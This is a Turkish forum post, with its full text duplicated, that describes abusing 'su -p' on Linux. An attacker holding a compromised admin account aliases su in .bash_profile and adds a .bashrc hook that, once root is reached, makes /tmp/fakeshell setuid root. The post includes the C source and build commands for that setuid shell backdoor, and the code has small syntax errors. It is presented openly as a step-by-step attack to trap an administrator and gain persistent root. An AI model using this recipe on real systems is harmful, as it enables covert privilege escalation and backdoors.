spy.man
07-09-2007, 12:37 PM
Linux temel programlarından biri de "su" programıdır.
"su", hem sistem yönetisi olmak için hem de diğer kullanıcı olmak için kullanılır.
Fakat bu programda teknik bir açıktan ziyade mantıksal bir hata bulunmaktadır. Ya da bir ikilem.
Linux bir makinada "man su" dediğiniz zaman.
-m, --preserve-environment
do not reset environment variables
-p
same as -m
göreceksiniz. Bunun anlamı "su -p" yaparak çalıştırdığınız zaman ve root sifresini doğru girdiginiz zaman kullanıcı çevresel değişkenleri eski kullanıcınki olarak kalacaktir.
yani "su -p" deyip root olduğunuz zaman "export" veya set dediğiniz zaman ki çevresel değişkenler ile "root" olmadan önceki çevresel değişkenler aynı olacaktir.
Peki hata bunun neresinde? Hata root olduğunuz zaman eğer bash kabuğu kullanıyorsanız root olacak olan kişinin dizini içindeki ".bashrc" scripti çalışıyor olmasıdır.
Yani "ahmet" kullanısı "su -p" diyerek root oluyorsa (tabi ki sifreyi girerek) ahmet kullanıcısının home dizini içindeki .bashrc calisacaktir. Normal şartlarda "su" veya "su -"
şeklinde çalıştırsanız "root" kullanıcısının home dizini içindeki .bashrc çalışmaktadır.
Bunun nedeni -p ya da -m parametresi nedeniyle HOME= çevresel değişkeni root un home dizini yerine ahmet'in home dizinini gösteriyor olması ve HOME değişleninin gösterdiği dizindeki .bashrc dosyasinin çalışıyor olması.
Şimdi şöyle bir senaryo düşünelim.
ahmet sistem yöneticisi ve genellikle sisteme ahmet kullanıcısıyla bağlanıp sonra "su" komutunu kullanarak root olmakta.
Eğer ahmet kullanıcısı ahmet hesabını bir şekilde çaldırırsa ya da farkında olmadan başkası ahmet sifresini çözmüş ise (bunun tonlarca yöntemi var) ve ahmet hic farketmeden ahmet kullanıcısı üzerinden root oluyorsa, hesabı çalan kişi ahmet'in home dizini içinde birkaç dosyayı değiştirerek root şifresini bilmeden root olabilir.
Nasıl ?
Şöyle. ahmet sisteme bağlandığı zamnan yani ssh ile ya da telnet ahmet'in home dizini içindeki .bash_profile dosyasi çalışır.
Bu dosyanın en başına;
alias su='su -p' eklenir.
Sonra yine ahmet'in home dizini içinde .bashrc dosyasi içine ise
WHO=`whoami`
if [ $WHO = "root" ]; then
chmod 4755 /tmp/fakeshell
chown root:root /tmp/fakeshell
fi
eklenir.
/tmp/fakeshell ise sizin C ile yazdiginiz shell calistiran bir binary.
Hadi onu da ekleyelim
vi fakeshell.c
------------- c dosyası -------------
#include
int main(void){
char **args = {"sh", 0};
setuid(0);
execve("/bin/sh", args, (char **)0);
}
----------c dosyası sonu ------------
gcc -c fakeshell.c
gcc -o fakeshell fakeshell.o
cp fakeshell /tmp/fakeshell
Tuzak kuruldu şimdi ahmet'in hiç şüphelenmeden sisteme bağlanmasını bekliyoruz.
Ahmet sisteme bağlanıyor ve
.bash_profile çalışıyor.
alias su='su -p'
aktif hale geliyor ve ahmet eger "su" komutunu calistirirsa
su -p komutu çalışacak
daha sonra ahmet yine aynı şekilde "su" komutunu çalıtırıyor (ama arka planda su -p çalışıyor )
ahmet root sifresini giriyor ve root oluyor. Fakat root olduktan sınra ahmet kullanıcısın içindeki .bashrc script i çalışıyor ve root olarak /tmp/fakeshell dosyasini suid ve kullanıcısını ve grubunu sırasiyla root, root yapıyor.
daha sonra ahmet kullanıcısını çalan bir kişi hiç su programını çalıştırmadan /tmp/fakeshell programını çalıştırarak root oluyor.
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
[/FONT][/CENTER]
"su", hem sistem yönetisi olmak için hem de diğer kullanıcı olmak için kullanılır.
Fakat bu programda teknik bir açıktan ziyade mantıksal bir hata bulunmaktadır. Ya da bir ikilem.
Linux bir makinada "man su" dediğiniz zaman.
-m, --preserve-environment
do not reset environment variables
-p
same as -m
göreceksiniz. Bunun anlamı "su -p" yaparak çalıştırdığınız zaman ve root sifresini doğru girdiginiz zaman kullanıcı çevresel değişkenleri eski kullanıcınki olarak kalacaktir.
yani "su -p" deyip root olduğunuz zaman "export" veya set dediğiniz zaman ki çevresel değişkenler ile "root" olmadan önceki çevresel değişkenler aynı olacaktir.
Peki hata bunun neresinde? Hata root olduğunuz zaman eğer bash kabuğu kullanıyorsanız root olacak olan kişinin dizini içindeki ".bashrc" scripti çalışıyor olmasıdır.
Yani "ahmet" kullanısı "su -p" diyerek root oluyorsa (tabi ki sifreyi girerek) ahmet kullanıcısının home dizini içindeki .bashrc calisacaktir. Normal şartlarda "su" veya "su -"
şeklinde çalıştırsanız "root" kullanıcısının home dizini içindeki .bashrc çalışmaktadır.
Bunun nedeni -p ya da -m parametresi nedeniyle HOME= çevresel değişkeni root un home dizini yerine ahmet'in home dizinini gösteriyor olması ve HOME değişleninin gösterdiği dizindeki .bashrc dosyasinin çalışıyor olması.
Şimdi şöyle bir senaryo düşünelim.
ahmet sistem yöneticisi ve genellikle sisteme ahmet kullanıcısıyla bağlanıp sonra "su" komutunu kullanarak root olmakta.
Eğer ahmet kullanıcısı ahmet hesabını bir şekilde çaldırırsa ya da farkında olmadan başkası ahmet sifresini çözmüş ise (bunun tonlarca yöntemi var) ve ahmet hic farketmeden ahmet kullanıcısı üzerinden root oluyorsa, hesabı çalan kişi ahmet'in home dizini içinde birkaç dosyayı değiştirerek root şifresini bilmeden root olabilir.
Nasıl ?
Şöyle. ahmet sisteme bağlandığı zamnan yani ssh ile ya da telnet ahmet'in home dizini içindeki .bash_profile dosyasi çalışır.
Bu dosyanın en başına;
alias su='su -p' eklenir.
Sonra yine ahmet'in home dizini içinde .bashrc dosyasi içine ise
WHO=`whoami`
if [ $WHO = "root" ]; then
chmod 4755 /tmp/fakeshell
chown root:root /tmp/fakeshell
fi
eklenir.
/tmp/fakeshell ise sizin C ile yazdiginiz shell calistiran bir binary.
Hadi onu da ekleyelim
vi fakeshell.c
------------- c dosyası -------------
#include
int main(void){
char **args = {"sh", 0};
setuid(0);
execve("/bin/sh", args, (char **)0);
}
----------c dosyası sonu ------------
gcc -c fakeshell.c
gcc -o fakeshell fakeshell.o
cp fakeshell /tmp/fakeshell
Tuzak kuruldu şimdi ahmet'in hiç şüphelenmeden sisteme bağlanmasını bekliyoruz.
Ahmet sisteme bağlanıyor ve
.bash_profile çalışıyor.
alias su='su -p'
aktif hale geliyor ve ahmet eger "su" komutunu calistirirsa
su -p komutu çalışacak
daha sonra ahmet yine aynı şekilde "su" komutunu çalıtırıyor (ama arka planda su -p çalışıyor )
ahmet root sifresini giriyor ve root oluyor. Fakat root olduktan sınra ahmet kullanıcısın içindeki .bashrc script i çalışıyor ve root olarak /tmp/fakeshell dosyasini suid ve kullanıcısını ve grubunu sırasiyla root, root yapıyor.
daha sonra ahmet kullanıcısını çalan bir kişi hiç su programını çalıştırmadan /tmp/fakeshell programını çalıştırarak root oluyor.
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
[/FONT][/CENTER]